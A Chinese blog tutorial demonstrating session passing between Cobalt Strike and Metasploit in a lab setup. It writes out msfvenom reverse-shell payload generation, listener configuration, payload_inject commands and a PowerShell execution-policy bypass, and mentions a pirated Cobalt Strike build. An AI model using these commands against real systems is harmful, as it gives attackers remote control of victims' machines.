Cobalt Strike与Metasploit Framewor联动(会话传递)功能演示

一、前言

Cobalt Strike 是一个为模拟对手和红队行动而设计的平台,主要用于执行有目标的攻击和模拟高级威胁。CS集成了很多功能,这些功能为渗透测试提供了便利的操作。同时CS还支持丰富的插件,通过扩展插件支持更多功能。

Metasploit是一个免费的、可下载的框架,通过它可以很容易地获取、开发并对计算机软件漏洞实施攻击。它本身附带数千个已知软件漏洞的专业级漏洞攻击工具。

早期版本CobaltSrtike依赖MetasploitFramework框架,而现在CobaltStrike已经不再使用MetasploitFramework而是作为单独的平台使用,它分为客户端(Client)与服务端(Teamserver),服务端是一个,客户端可以有多个,团队可进行分布式协团操作。

Cobalt Strike 官网地址:https://www.cobaltstrike.com。(好像国内打不开,需要梯子,打不开的原因并不是因为被墙,可能是中国白嫖的太多了吧。)

以上是2个软件的简介。

这2个软件我经常使用,但是可能实战经历少,没有遇到联动场景。我觉得2个软件之间联动起来可以发会更为立体全面的功能。然后网上搜一下,原来本身支持联动也是容易实现的。
今天记录一下CS和MSF联动,也就是会话传递的使用过程。

二、测试拓扑

在这里插入图片描述
为了方便功能演示,VPS运行CS服务端和MSF侦听,S1是win10,模拟蓝方,S2运行kali,模拟红方。

三、CS会话传递到MSF

第一个场景是加入红方控制了S1,获得了CS会话,想要把会话传递到MSF,使用MSF的工具进行进一步渗透。

3.1 CS准备

1.在VPS上运行CS服务端。
在这里插入图片描述
2.使用本地kali进行连接。
在这里插入图片描述
3.建立CS侦听
在这里插入图片描述
6666端口随意设置,需在VPS安全规则中设置允许策略。点击保存后提示侦听器已经运行。

4.生成payload,为了方便测试我直接生成PowerShell格式的payload
在这里插入图片描述
把生成的payload拷贝到目标主机(S1)上,使用PowerShell执行。
可能会提示:
cannot be loaded because the execution of scripts is disabled on this system. Please see “get-help about_signing” for more details.
需提前运行:
Set-ExecutionPolicy Unrestricted -Scope CurrentUser

5.这时候获取了一个CS会话。
在这里插入图片描述

3.2 MSF准备

在VPS上运行msfconsole,打开msf。
在这里插入图片描述

3.3 会话传递

CS上增加一个外部侦听。
在这里插入图片描述
IP地址为msf侦听IP,端口为msf侦听端口。
在这里插入图片描述
然后在想要迁移的会话上右键选spawn,中文版翻译的是攻击。
个人感觉翻译不准准确,spawn单词意思是产卵;引发,促生;
可以翻译成孵化,派生。
点击以后可以在msf看到有会话产生(需要等待7秒以上)。
在这里插入图片描述
这是使用session命令就可以看到活动的会话信息。
在这里插入图片描述

四、MSF会话传递到CS

4.1 CS准备

建立一个侦听等待会话。
在这里插入图片描述

4.2 MSF准备

通过msfvenom生成后门文件
在这里插入图片描述
命令:

msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=192.168.20.100 LPORT=6666 -f exe > msfshell.exe 

启动MSF,设置meterpreter监听用于接收后门文件反弹到shell。
在这里插入图片描述

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.20.100
set lport 6666 
run

把生成的exe文件拷贝到受控主机S1(win10),然后运行。
可以看到成功获取会话。
在这里插入图片描述

4.3 会话传递

使用background命令把会话放到后台。
调用 payload_inject 模块,将指定会话session id注入到Cobalt Strike侦听中。

use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set lhost 192.168.20.154   # CS服务端IP
set lport 80       # CS服务端监听的端口号
set DisablePayloadHandler True
set PrependMigrate True
set session 1  # 会话id
run

上面是命令,下面是运行截图。
在这里插入图片描述
可以看到Injecting 成功。
回到CS查看。
在这里插入图片描述
可以看到建立的会话。

五、总结

5.1 CS会话传递到MSF过程

我是一边测试一遍记录,中间经历很多异常,就是莫名其妙实现不了。
这中间换过CS版本,换过S1主机操作系统版本,也换过拓扑结构。
最终实现了。
我最终实现的环境CS为4.4 k8gege版本,S1(被攻击机)操作系统win10,payload使用exe格式。

使用powershell和stageless的exe在win7下都没有成功。
powershell和stageless的会话在win10下可以成功。
看来和终端操作系统有关系。
至于测试拓扑,CS和MSF在不在一台主机没有关系,CS和MSF是VPS也可以实现,甚至CS是本地主机,MSF是VPS都可以实现。只要网络联通、端口不限制即可。
进一步测试CS 4.5在其他变量不变的情况下实现不了。具体表现为4.4的版本点击后会在命令交互窗口看到有提示信息:
在这里插入图片描述
而使用CS 4.5版本的话没有提示:
在这里插入图片描述
也可能我的4.5版本包有问题,毕竟都是白嫖的。

5.2 MSF会话传递到CS过程

这个过程没有遇到什么坑,所以也没有更多深入测试。

猜你喜欢

转载自blog.csdn.net/imtech/article/details/128915718
今日推荐